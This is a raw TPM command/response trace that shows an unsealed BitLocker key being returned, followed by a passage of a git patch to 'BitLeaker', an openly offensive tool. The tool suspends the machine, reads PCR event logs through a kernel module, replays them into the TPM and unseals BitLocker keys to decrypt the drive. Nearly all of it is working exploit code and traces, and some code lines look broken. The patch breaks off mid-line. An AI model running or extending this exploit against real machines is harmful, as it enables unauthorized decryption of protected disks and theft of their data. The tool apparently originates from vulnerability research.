Read PCR8 +80 01 00 00 00 14 00 00 01 7e 00 00 00 01 00 04 03 00 08 00 +80 01 00 00 00 32 00 00 00 00 00 00 00 11 00 00 00 01 00 04 03 00 08 00 00 00 00 01 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +# NV_Read +80 02 00 00 00 23 00 00 01 4e 01 41 00 01 01 41 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 00 08 00 00 +80 02 00 00 00 1d 00 00 00 00 00 00 00 0a 00 08 00 00 00 00 00 00 1a 06 00 00 01 00 00 +# NV_Increment +80 02 00 00 00 1f 00 00 01 34 01 41 00 01 01 41 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# NV_Read +80 02 00 00 00 23 00 00 01 4e 01 41 00 01 01 41 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 00 08 00 00 +80 02 00 00 00 1d 00 00 00 00 00 00 00 0a 00 08 00 00 00 00 00 00 1a 07 00 00 01 00 00 +# ReadClock +80 01 00 00 00 0a 00 00 01 81 +80 01 00 00 00 23 00 00 00 00 00 00 00 00 00 00 6a 19 00 00 00 00 5a 61 77 28 00 00 00 95 00 00 00 04 01 +# NV_Read +80 02 00 00 00 23 00 00 01 4e 01 41 00 01 01 41 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 00 08 00 00 +80 02 00 00 00 1d 00 00 00 00 00 00 00 0a 00 08 00 00 00 00 00 00 1a 07 00 00 01 00 00 +# NV_Increment +80 02 00 00 00 1f 00 00 01 34 01 41 00 01 01 41 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +# NV_Read +80 02 00 00 00 23 00 00 01 4e 01 41 00 01 01 41 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 00 08 00 00 +80 02 00 00 00 1d 00 00 00 00 00 00 00 0a 00 08 00 00 00 00 00 00 1a 08 00 00 01 00 00 +# ReadClock +80 01 00 00 00 0a 00 00 01 81 +80 01 00 00 00 23 00 00 00 00 00 00 00 00 00 00 6a 2b 00 00 00 00 5a 61 77 3a 00 00 00 95 00 00 00 04 01 +# ReadPublic +80 01 00 00 00 0e 00 00 01 73 81 00 00 01 +80 01 00 00 01 6e 00 00 00 00 01 1a 00 01 00 0b 00 03 04 72 00 00 00 06 00 80 00 43 00 10 08 00 00 00 00 00 01 00 cb eb 07 8f a3 9d 09 57 1c 13 a3 92 d6 9d d6 f1 53 81 69 e3 9b d1 31 a1 08 3b 91 84 d8 63 ba fe 24 56 3d 4b 33 54 5d 8f 2e 13 76 06 52 34 ee d5 27 94 ed 74 fa 91 bd cb 15 3c 36 23 46 44 0a f1 4c 54 0c c4 f6 76 b7 f8 4c c8 ea bd 73 50 91 fa cc 0b 68 17 2e bb f8 0a c3 19 71 61 fb 33 05 ed d2 80 0a 83 84 6e f8 6d e9 ab 69 ef 65 f3 8d 81 13 a7 b5 a7 db 6c af 10 46 11 1b 32 3a 30 b5 da e1 a5 77 05 ad 02 bc 15 71 c8 ed 95 6b 6b cd 40 87 24 9b b2 76 4c 95 f9 79 df ce ad 49 7e 61 2d bb 1c 7c fe 8d 48 14 7a 11 dd 22 30 c9 5e ef 88 1c 0a e9 fd 16 33 31 d6 c4 0a b6 27 c3 5b 02 e3 a7 ec 97 cd 98 ae 61 1d 29 1a 75 12 7d 00 b4 60 1d 11 1b be 89 fb 48 e5 6f 61 d6 e7 41 21 ea 81 d1 c0 e0 af fd 27 9b dc da 40 a5 93 d0 75 18 37 5a 43 8a d7 56 00 c7 22 b3 3b 14 11 ee 1f df ab 00 22 00 0b 2e ff 15 35 80 1a 6e e8 34 e0 06 e9 d5 b0 32 c4 73 2a bc 1f 09 8e f6 bf 5a 52 1f 79 cf 29 55 c4 00 22 00 0b 82 27 8f 29 cd d1 25 a8 b3 93 c5 fa a1 19 5b ba 3e 56 32 0b 34 92 ca 45 59 25 30 e9 47 f9 73 dd +# Load +80 02 00 00 00 d3 00 00 01 57 81 00 00 01 00 00 00 09 40 00 00 09 00 00 00 00 00 00 7e 00 20 0d e4 0d 04 a8 de 2e b0 16 de 5e 72 60 69 12 de 45 39 85 36 ef 0d 04 b5 47 90 f5 fc da fd c5 ff 00 10 1c 32 ab 97 ac 82 c5 7f 38 85 14 f6 37 a7 55 90 55 d0 83 1b 63 28 95 aa 97 6d ec 54 ad 4d 04 5c c5 a3 1b 92 59 2c d4 11 f2 f4 46 c0 59 74 b8 15 ae b7 a0 87 2e 3b 77 ca 39 e3 19 dc fb e6 5a d4 2e 1a 7c 18 7f 18 87 cd 44 76 15 bc 36 2f e0 da 16 8a 08 fa 50 ae 17 16 8a 6a 00 36 00 08 00 04 00 00 04 12 00 14 af f9 b0 88 16 76 60 61 9b a4 05 38 27 b2 25 c7 a1 9f 62 55 00 10 00 14 6e 1c a2 28 1d d3 df 52 fa 5d c4 46 09 d8 11 6a b9 71 98 4f +80 02 00 00 00 2f 00 00 00 00 80 00 00 01 00 00 00 18 00 16 00 04 b2 06 a7 5f e0 f0 7c bd b6 83 03 ff aa 59 7a 3a 17 fc b7 af 00 00 01 00 00 +# GetRandom +80 01 00 00 00 0c 00 00 01 7b 00 14 +80 01 00 00 00 20 00 00 00 00 00 14 0d 84 cc 4b c4 f9 2d 60 42 31 5e 3b 73 73 9f 53 9a f5 00 c8 +# StartAuthSession +80 01 00 00 00 2f 00 00 01 76 40 00 00 07 40 00 00 07 00 14 0d 84 cc 4b c4 f9 2d 60 42 31 5e 3b 73 73 9f 53 9a f5 00 c8 00 00 01 00 10 00 04 +80 01 00 00 00 24 00 00 00 00 03 00 00 00 00 14 da 41 e0 b2 61 db c1 a5 54 92 17 7d d7 90 c9 ae c1 a2 3b cb +# GetRandom +80 01 00 00 00 0c 00 00 01 7b 00 14 +80 01 00 00 00 20 00 00 00 00 00 14 66 f9 f5 3a 9d 37 50 9b 0b 46 c3 b6 e5 fd 26 c0 02 ca 71 1e +# PolicyAuthValue +80 01 00 00 00 0e 00 00 01 6b 03 00 00 00 +80 01 00 00 00 0a 00 00 00 00 +# PolicyPCR +80 01 00 00 00 2e 00 00 01 7f 03 00 00 00 00 14 ab 23 3f 3c 2e cb 87 0a 34 44 e1 d9 27 12 b8 df 00 f2 17 13 00 00 00 01 00 04 03 80 08 00 +80 01 00 00 00 0a 00 00 00 00 +# Unseal +80 02 00 00 00 43 00 00 01 5e 80 00 00 01 00 00 00 31 03 00 00 00 00 14 66 f9 f5 3a 9d 37 50 9b 0b 46 c3 b6 e5 fd 26 c0 02 ca 71 1e 00 00 14 3d 4c c8 c8 1f 08 e0 d0 eb 4e 23 31 83 a7 ce a5 a5 c6 e3 4e +############################################### KEY RETURNED HERE ########################################### +80 02 00 00 00 69 00 00 00 00 00 00 00 2e 00 2c 2c 00 05 00 01 00 00 00 03 20 00 00 9b d8 4e 9c 2c 32 e7 be 1c 3d 11 31 e6 bb 87 90 1b 01 b4 e5 21 17 a6 ff df 72 fa f4 a9 9d 81 be 00 14 7f 45 e9 14 f6 13 f7 2b 68 5f c3 03 b4 d9 e4 22 5e a6 37 8c 00 00 14 c6 26 c0 24 05 c4 53 80 be 67 5c 26 b0 41 54 e1 9a fe 64 7f +############################################### KEY RETURNED HERE ########################################### +80 01 00 00 00 0e 00 00 01 65 80 00 00 01 +80 01 00 00 00 0a 00 00 00 00 +80 01 00 00 00 14 00 00 01 7e 00 00 00 01 00 04 03 00 08 00 +80 01 00 00 00 32 00 00 00 00 00 00 00 11 00 00 00 01 00 04 03 00 08 00 00 00 00 01 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0b 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 90 69 ca 78 e7 45 0a 28 51 73 43 1b 3e 52 c5 c2 52 99 e4 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0c 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 ef c8 33 43 17 d0 5e 7e 7d 56 62 a7 bf fb 61 cc cb 83 0f 73 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0d 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 17 91 eb 51 a8 0b fd 1d 2e 1a 7c bd 78 12 18 d8 c4 9c 5c 6a +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0e 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 01 fd 60 a7 19 34 34 b2 5e e8 87 08 27 fd 43 6b 12 5a a0 3d +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 01 00 00 00 16 00 00 01 7a 00 00 00 02 00 00 01 82 00 00 00 01 +80 01 00 00 00 17 00 00 00 00 01 00 00 00 02 00 00 00 01 02 40 01 82 +80 01 00 00 00 14 00 00 01 7e 00 00 00 01 00 04 03 00 08 00 +80 01 00 00 00 32 00 00 00 00 00 00 00 15 00 00 00 01 00 04 03 00 08 00 00 00 00 01 00 14 b2 a8 3b 0e bf 2f 83 74 29 9a 5b 2b df c3 1e a9 55 ad 72 36 +80 02 00 00 00 35 00 00 01 82 00 00 00 0c 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 9c 68 02 44 2a cf c9 37 57 b2 4e 1f 9d 5d d3 a7 bd c8 c0 4c +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0d 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 bf f0 b4 0c 7b a9 79 69 14 31 93 c5 eb 89 c1 f8 bc 24 c3 c1 +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0e 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 01 fd 60 a7 19 34 34 b2 5e e8 87 08 27 fd 43 6b 12 5a a0 3d +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0c 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 9d 7f 49 93 88 da a8 e7 d7 f1 e3 99 61 6e 39 e5 89 1d 39 9d +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0d 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 9d 7f 49 93 88 da a8 e7 d7 f1 e3 99 61 6e 39 e5 89 1d 39 9d +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 +80 02 00 00 00 35 00 00 01 82 00 00 00 0e 00 00 00 09 40 00 00 09 00 00 00 00 00 00 00 00 01 00 04 9d 7f 49 93 88 da a8 e7 d7 f1 e3 99 61 6e 39 e5 89 1d 39 9d +80 02 00 00 00 13 00 00 00 00 00 00 00 00 00 00 01 00 00 + From 4deddc3a8d58be3634d814c6492d270a3c0655cd Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Mon, 26 Oct 2020 18:26:36 -0400 Subject: [PATCH 4/7] working on bitleaker with sha1 hashing --- bitleaker-3-v1.py | 891 +++++++++++++++++++++++++--------------------- 1 file changed, 487 insertions(+), 404 deletions(-) diff --git a/bitleaker-3-v1.py b/bitleaker-3-v1.py index 598b31c..afe3468 100755 --- a/bitleaker-3-v1.py +++ b/bitleaker-3-v1.py @@ -1,4 +1,4 @@ -#!/usr/bin/python3 +#!/usr/bin/env python3 #-*- coding: utf-8 -*- # # BitLeaker @@ -11,6 +11,7 @@ # import subprocess +from enum import Enum import os import sys import re @@ -18,8 +19,11 @@ from time import sleep +tpm_device="device:/dev/tpm0" tpm_library_path = "LD_LIBRARY_PATH=tpm2-tools/src/.libs:TPM2.0-TSS/tcti/.libs:TPM2.0-TSS/sysapi/.libs" -dislocker_library_path = "LD_LIBRARY_PATH=dislocker/src" +dislocker_library_path = "LD_LIBRARY_PATH=dislocker/build/src" + + # # TPM data for unseal VMK of BitLocker # @@ -36,44 +40,80 @@ data_tpm2_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] data_tpm1_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] -# SHA256 of bootmgfw.efi certificate, it is used for PCR #7 -sha256_bootmgfw_cert = '30bf464ee37f1bc0c7b1a5bf25eced275347c3ab1492d5623ae9f7663be07dd5' -#sha1_bootmgfw_cert = '8b4866854c0b829dd967a1d9f100a3920d412792' -#sha1_bootmgfw_cert = '8cfba0f34dda0f98ba4acec8e609a5f0a2b426b3' -sha1_bootmgfw_cert = '9fc713b7248d99a1a0db3d50c14eb9b4ff270721' - -# -# Color codes -# -RED = '\033[1;31m' -GREEN = '\033[1;32m' -YELLOW = '\033[1;33m' -BLUE = '\033[1;34m' -MAGENTA = '\033[1;35m' -CYAN = '\033[1;36m' -WHITE = '\033[1;37m' -ENDC = '\033[0m' -BOLD = '\033[1m' -UNDERLINE = '\033[4m' -BLINK = '\033[5m' -SUCCESS = GREEN -FAIL = RED -filename = 'key.txt' - -# -# Print colored message -# -def color_print(message, color): - sys.stdout.write(color + message + ENDC) - return - -def info_print(message): - color_print(message, BOLD) - -# -# Show a banner. -# -def show_banner(): +class Color(Enum): + # + # Color codes + # + RED = '\033[1;31m' + GREEN = '\033[1;32m' + YELLOW = '\033[1;33m' + BLUE = '\033[1;34m' + MAGENTA = '\033[1;35m' + CYAN = '\033[1;36m' + WHITE = '\033[1;37m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + BLINK = '\033[5m' + SUCCESS = GREEN + FAIL = RED + +class State(Enum): + NO_MARKER = 0 + FOUND_MRKR1 = 1 + FOUND_MRKR2 = 2 + +class HashTypes(Enum): + SHA256 = 'SHA256' + SHA1 = 'SHA1' + +class MicrosoftMaterial(Enum): + # SHA256 of bootmgfw.efi certificate, it is used for PCR #7 (TCG 2.0) + sha256_bootmgfw_cert = '30bf464ee37f1bc0c7b1a5bf25eced275347c3ab1492d5623ae9f7663be07dd5' + # SHA1 of bootmgfw.efi certificate, it is used for PCR #7 (TCG 1.2) + sha1_bootmgfw_cert = '9fc713b7248d99a1a0db3d50c14eb9b4ff270721' + +class Display: + # + # Print colored message + # + def color_print(self, message, color=Color.WHITE): + sys.stdout.write(color.value + message + color.ENDC.value) + return + + # + # Show a banner. + # + def show_banner(self): + print(self.banner) + + def info_print(self, message): + self.color_print(message, Color.BOLD) + + def debug_print(self, message, color=Color.YELLOW): + if self.debug == False: return + self.color_print(message, color) + + def display_pcrs(self, lines, color=Color.BLUE): + if self.debug == False: return + for line in lines: + str = ' '.join(line)+'\n' + self.debug_print(str, color) + + def display_raw_logs(self, lines, color=Color.YELLOW): + if self.debug == False: return + for line in lines: + str = ''.join(line)+'\n' + debug_print(line, color) + + +class BitLeaker(Display): + bitlocker_drive = '' + module_loaded=False + debug=False + tcg_version='2.0' + raw_log_data=[] + processed_logs=[] banner = """\ ,║▒▒▒▒▒▒@╖ ╥▒▒╝ ▒▒▒╢ @@ -109,223 +149,403 @@ def show_banner(): ░▒L░░└ ░░ ░▒ ░ ░░▒!▒▒ ░ ░ ░ ░░└ ░ ▒ ▒L░ ░▒ ░ ░ ░ ░ ░ └ ░ -""" + \ - GREEN +' BitLeaker v1.0 for decrypting BitLocker with the TPM vulnerability\n' + ENDC + \ + """ + \ + Color.GREEN.value +' BitLeaker v1.0 for decrypting BitLocker with the TPM vulnerability\n' + Color.ENDC.value + \ ' Made by Seunghun Han, https://kkamagui.github.io\n' + \ ' Project link: https://github.com/kkamagui/bitleaker \n' - print(banner) - -# -# Prepare PCR data from dmesg -# -def prepare_pcr_data(): - """ - [ 27.955579] bitleaker: Virt FFFFAF80C55E0000 Phys 80000 - [ 27.955582] bitleaker: evet_version = 2 - [ 27.955588] bitleaker: TCG_PCR_EVENT size 36 TCG_PCR_EVENT2 size 12 - [ 27.955595] bitleaker: Start 0x6f484000, End 0x6f48ebd5, Trunc 0 - [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a - [ 27.955627] bitleaker: [2] PCR 0, Event 8, SHA256= d4 72 0b 40 09 43 82 13 b8 03 56 80 17 f9 03 09 3f 6b ea 8a b4 7d 28 3d b3 2b 6e ab ed bb f1 55 - [ 27.955642] bitleaker: [3] PCR 0, Event 1, SHA256= db e1 4c 63 b7 d0 be dd 3f aa 9d b8 8f 9c 34 ad 75 a6 91 f7 c0 17 7f 70 1e ee 59 5d 44 d9 62 bc - [ 27.955661] bitleaker: [4] PCR 7, Event 80000001, SHA256= cc fc 4b b3 28 88 a3 45 bc 8a ea da ba 55 2b 62 7d 99 34 8c 76 76 81 ab 31 41 f5 b0 1e 40 a4 0e - [ 27.955678] bitleaker: [5] PCR 7, Event 80000001, SHA256= 78 68 42 98 cc 54 cf 75 50 bd 38 d3 c3 78 ee ee 59 d3 ae 02 76 32 cd a6 f5 07 ac 5c cd 25 7b 35 - ... omitted ... - [ 27.957613] bitleaker: == End of Data == - """ - info_print('Loading BitLeaker kernel module... ') - #subprocess.getoutput('sudo insmod bitleaker-kernel-module/bitleaker-kernel-module.ko') - #subprocess.getoutput('sudo insmod bitleaker-kernel-module/bitleaker-kernel-module-5.3.ko') - subprocess.getoutput('sudo modprobe bitleaker-kernel-module') - color_print('Success\n', SUCCESS) - - info_print('Entering sleep...\n') - info_print(' [>>] Please press any key or power button to wake up...') - input('') - subprocess.getoutput('systemctl suspend') - info_print('Waking up...\n') - info_print(' [>>] Please press any key to continue...') - input('') - info_print('\n') - info_print('Preparing PCR data.\n') - info_print(' [>>] Get PCR data from BitLeaker driver... '), - output = subprocess.getoutput('sudo dmesg').split('\n') - first_marker_found = 0 - second_marker_found = 0 - raw_data = [] - for line in output: - if 'Dump event logs' in line: - first_marker_found = 1 - - if first_marker_found == 1 and 'SHA1' in line: - second_marker_found = 1 - - if second_marker_found == 1 and 'End of Data' in line: - break - - if second_marker_found == 1: - raw_data.append(line) - - if len(raw_data) == 0: - color_print('Fail\n', FAIL) - sys.exit(-1) - color_print('Success\n\n', SUCCESS) - - return raw_data - -def read_canned_pcr_data(filename): - f = open(filename, 'r') - output = f.readlines() - f.close() - - first_marker_found = 0 - second_marker_found = 0 - raw_data = [] - for line in output: - if 'Dump event logs' in line: - first_marker_found = 1 - - if first_marker_found == 1 and 'SHA1' in line: - second_marker_found = 1 - - if second_marker_found == 1 and 'End of Data' in line: - break - - if second_marker_found == 1: - raw_data.append(line) - - info_print('Entering sleep...\n') - info_print(' [>>] Please press any key or power button to wake up...') - input('') - subprocess.getoutput('systemctl suspend') - info_print('Waking up...\n') - info_print(' [>>] Please press any key to continue...') - input('') - info_print('\n') - - if len(raw_data) == 0: - color_print('Fail\n', FAIL) - sys.exit(-1) - color_print('Success\n\n', SUCCESS) - - return raw_data - - -# -# Cut PCR data and extract pcr_list -# -def cut_and_extract_essential_pcr_data(raw_data): - """ - [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a - """ - info_print('Cut and extract essential PCR data.\n') - - extracted_raw_data = [] - ev_separator_found = 0 - for line in raw_data: - #if ev_separator_found == 1 and 'PCR 7' in line: - # break + def __init__(self,debug=False): + self.module_loaded = False + self.raw_log_data = [] + self.processed_logs = [] + self.debug = debug + self.bitlocker_drive = '' + self.show_banner() + self.manage_kernel_module('start') + self.hash_type = HashTypes.SHA256 + self.FNULL = open(os.devnull, 'w') - if 'Event 80000003' in line: - break - - extracted_raw_data.append(line) - - info_print(' [>>] Extract PCR numbers and SHA1 hashes... ') - - # Extract PCR numbers and SHA1 hashes - pcr_list = [] - for line in extracted_raw_data: - # PCR number - match = re.search(r'\d+?,', line) - pcr_num = match.group(0).replace(',', ' ') + # Try to enter sleep + # + def doze(self): + if self.module_loaded: + self.info_print('Entering sleep...\n') + self.info_print(' [>>] Press [Enter] to doze...') + input('') + subprocess.call(['sudo','rtcwake','--mode','mem','-s','5'], stdout=self.FNULL, stderr=self.FNULL) + self.info_print(' [<<] Concious...\n') + sleep(1) + return 1 + else: + self.color_print('BitLeaker module is not loaded.', Color.FAIL) + return 0 + + # + # Collect the system logs containing the PCRs + # + def collect_pcr_logs(self, filename=''): + """ + [ 27.955579] bitleaker: Virt FFFFAF80C55E0000 Phys 80000 + [ 27.955582] bitleaker: evet_version = 2 + [ 27.955588] bitleaker: TCG_PCR_EVENT size 36 TCG_PCR_EVENT2 size 12 + [ 27.955595] bitleaker: Start 0x6f484000, End 0x6f48ebd5, Trunc 0 + [ 27.955610] bitleaker: [1] PCR 0, Event 7, SHA256= 31 37 22 f6 4f 2a 08 57 c6 01 26 6c 89 bf 21 70 0a 7c 4e 79 dc 96 76 4c 2a 35 55 68 2a 3c 7b 7a + [ 27.955627] bitleaker: [2] PCR 0, Event 8, SHA256= d4 72 0b 40 09 43 82 13 b8 03 56 80 17 f9 03 09 3f 6b ea 8a b4 7d 28 3d b3 2b 6e ab ed bb f1 55 + [ 27.955642] bitleaker: [3] PCR 0, Event 1, SHA256= db e1 4c 63 b7 d0 be dd 3f aa 9d b8 8f 9c 34 ad 75 a6 91 f7 c0 17 7f 70 1e ee 59 5d 44 d9 62 bc + [ 27.955661] bitleaker: [4] PCR 7, Event 80000001, SHA256= cc fc 4b b3 28 88 a3 45 bc 8a ea da ba 55 2b 62 7d 99 34 8c 76 76 81 ab 31 41 f5 b0 1e 40 a4 0e + [ 27.955678] bitleaker: [5] PCR 7, Event 80000001, SHA256= 78 68 42 98 cc 54 cf 75 50 bd 38 d3 c3 78 ee ee 59 d3 ae 02 76 32 cd a6 f5 07 ac 5c cd 25 7b 35 + ... omitted ... + [ 27.957613] bitleaker: == End of Data == + """ + self.raw_log_data = [] + self.info_print('Collecting {0} PCRs from system logs...\n'.format(self.hash_type.value)) + try: + if filename == '': + output = subprocess.check_output(['dmesg'],encoding='UTF-8').split('\n'); + else: + infile = open(filename, 'r') + output = infile.readlines() + infile.close() + state = State.NO_MARKER + for line in output: + if state == State.FOUND_MRKR1: + if self.hash_type.value in line: + state = State.FOUND_MRKR2 + if state == State.FOUND_MRKR2: + if 'End of Data' in line: + break + self.raw_log_data.append(line) + if state == State.NO_MARKER: + if 'Dump event logs' in line: + state = State.FOUND_MRKR1 + except: + pass + self.info_print(' [>>] Found {0:d} log lines.\n'.format(len(self.raw_log_data))) + self.display_raw_logs(self.raw_log_data,Color.YELLOW) + return self.raw_log_data + + def process_pcr_logs(self): + selected_raw_logs = [] + if len(self.raw_log_data)==0: return False + self.info_print('Processing logs...\n') + ev_separator_found = False + for line in self.raw_log_data: + if ev_separator_found and 'PCR 7' in line: + break + if 'Event 4' in line: + ev_separator_found = True + + selected_raw_logs.append(line) + + self.info_print(' [>>] Extract PCR numbers and {0} hashes... \n'.format(self.hash_type.value)) + expression = r'(?<={0}=).*'.format(self.hash_type.value) + for line in selected_raw_logs: + match = re.search(r'\d+?,', line) + pcr_num = match.group(0).replace(',', ' ') + + match = re.search(expression, line) + hash = match.group(0).replace(' ', '') + self.processed_logs.append([pcr_num, hash]) + + if len(self.processed_logs) != 0: + self.color_print('Found {0} PCR logs.\n'.format(len(self.processed_logs)), Color.SUCCESS) + self.display_pcrs(self.processed_logs) + return True + else: + self.color_print(' [>>>]NO PCR LOGS FOUND[<<<]\n', Color.FAIL) + return False - # SHA 1 - match = re.search(r'(?<=SHA1=).*', line) - sha1 = match.group(0).replace(' ', '') - - pcr_list.append([pcr_num, sha1]) - - if len(pcr_list) != 0: - color_print('Success\n\n', SUCCESS) - else: - color_print('Fail\n\n', FAIL) - sys.exit(-1) - - info_print(' [>>] Stored list:\n') - print(pcr_list) - return pcr_list + def leak(self,filename=''): + if self.module_loaded: + self.info_print('Preparing PCR data...\n') + if self.doze(): + if len(self.collect_pcr_logs(filename)) == 0: + self.hash_type = HashTypes.SHA1 + if len(self.collect_pcr_logs(filename)) == 0: + self.color_print(" [>>>] NO LOGS FOUND! Check BitLeaker kernel module. [<<<]\n",Color.RED) + sys.exit(-1) + else: + self.color_print(" [>>>] Bitleaker module not loaded. Fix this! [<<<]\n",Color.RED) + + def start_tpm(self): + self.info_print("Restarting TPM...") + subprocess.check_call(['sudo','TPMTOOLS2_TCTI="{0}"'.format(tpm_device),'tpm2_startup','-c']) + self.info_print(" [>>] Waiting for you to run selftest") + input('') + #subprocess.check_call(['sudo','TPMTOOLS2_TCTI="{0}"'.format(tpm_device),'tpm2_selftest','-f']) + self.info_print(" [>>] Done...") + + def manage_kernel_module(self, mode="start"): + if mode == "start" and not self.module_loaded: + try: + #subprocess.getoutput('sudo modprobe bitleaker-kernel-module') + output = subprocess.check_output(['lsmod']) + if b'leak' in output: + self.module_loaded = True + self.color_print('BitLeaker Module LOADED.\n', Color.SUCCESS) + else: + subprocess.check_call(['sudo','insmod','./bitleaker-kernel-module/bitleaker-kernel-module.ko']) + self.color_print('BitLeaker Module LOADED.\n', Color.SUCCESS) + self.module_loaded = True + except subprocess.CalledProcessError as e: + self.color_print('BitLeaker Module FAILED loading.\n', Color.FAIL) + if self.module_loaded: return True + else: return False + if mode == "stop" and self.module_loaded: + try: + subprocess.check_call(['sudo','false','./bitleaker-kernel-module/bitleaker-kernel-module.ko']) + self.module_loaded = False + except subprocess.CalledProcessError as e: + self.color_print('Stop FAILED\n',Color.FAIL) + if self.module_loaded == False: return True + else: return False + + def find_bitlocker_parition(self,filename=''): + if filename=='': + self.info_print('Finding BitLocker partitions... \n') + output = subprocess.check_output('sudo fdisk -l 2>/dev/null | grep "Microsoft basic data"', encoding='UTF-8',shell=True).split('\n') + if len(output) == 0: + self.color_print(' [>>] BitLocker-locked parition is not found.\n', Color.FAIL) + self.info_print(' [>>] Please try with the explicit drive path. ./bitleaker-3-v1.py \n') + return False + self.bitlocker_drive = output[0].split(' ')[0] + else: + self.bitlocker_drive = filename + self.info_print(' [>>] BitLocker-locked partition is [%s]\n\n' % self.bitlocker_drive) + return True + + def bitlocker_path(self): + return self.bitlocker_drive + + def logs(self): + return self.processed_logs + + def type(self): + return self.hash_type.value -# -# Check resource manager is running and run it -# -def check_and_run_resource_manager(): - info_print(' [>>] Checking the resource manager process... ') - sys.stdout.flush() +filename = 'key.txt' - output = subprocess.getoutput('sudo ps -e | grep resourcemgr') - if 'resourcemgr' in output: - color_print('Running\n', SUCCESS) +class TPMInterface(Display): + _type = HashTypes.SHA256.value + logs = [] + def __init__(self, logs, type=HashTypes.SHA256.value): + self._type = type + self.logs = logs + + def Type(self): + return self._type + + # + # Check resource manager is running and run it + # + def start_rsrc_mgr(self): + output = subprocess.getoutput('sudo ps -e | grep resourcemgr') + if 'resourcemgr' in output: + self.info_print(' [>>] Resource manager process... ') + sys.stdout.flush() + self.color_print('Running\n', Color.SUCCESS) + return 0 + + self.info_print(' [>>] Starting resource manager process... ') + sys.stdout.flush() + pid = os.fork() + if pid == 0: + subprocess.getoutput('sudo %s TPM2.0-TSS/resourcemgr/resourcemgr > /dev/null' % (tpm_library_path)) + sys.exit(0) + else: + # Wait for the resource manager + resourcemgr_found = False + + for i in range(0, 10): + output = subprocess.getoutput('ps -e | grep resourcemgr') + if len(output) != 0: + resourcemgr_found = True + break + sleep(1) + + if resourcemgr_found == False: + self.color_print('Fail\n', Color.FAIL) + sys.exit(-1) + + self.color_print('Success\n', Color.SUCCESS) + sleep(2) return 0 - pid = os.fork() - if pid == 0: - subprocess.getoutput('sudo %s TPM2.0-TSS/resourcemgr/resourcemgr > /dev/null' % (tpm_library_path)) - sys.exit(0) - else: - # Wait for the resource manager - resourcemgr_found = False - - for i in range(0, 10): - output = subprocess.getoutput('ps -e | grep resourcemgr') - if len(output) != 0: - resourcemgr_found = True - break - - sleep(1) + def stop_rsrc_mgr(self): + subprocess.call('sudo killall resourcemgr',shell=True) + return + + def tpm_extendpcr(self,pcr,hash): + local_pcr = pcr.replace(' ','') + if self._type == 'SHA256': + #output = subprocess.check_output('%s tpm2-tools/src/tpm2_extendpcrs -g 0x0b -P %s -i %s' % (tpm_library_path, pcr, hash), shell=True, encoding='UTF-8') + output = subprocess.check_output('tpm2_pcrextend %s:sha256=%s' % (local_pcr, hash), shell=True, encoding='UTF-8') + else: + #output = subprocess.check_output('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P %s -i %s' % (tpm_library_path, pcr, hash), shell=True, encoding='UTF-8') + output = subprocess.check_output('tpm2_pcrextend %s:sha1=%s' % (local_pcr, hash), shell=True, encoding='UTF-8') + return output + + def tpm_listpcrs(self): + if self._type == 'SHA256': + #output = subprocess.check_output('%s 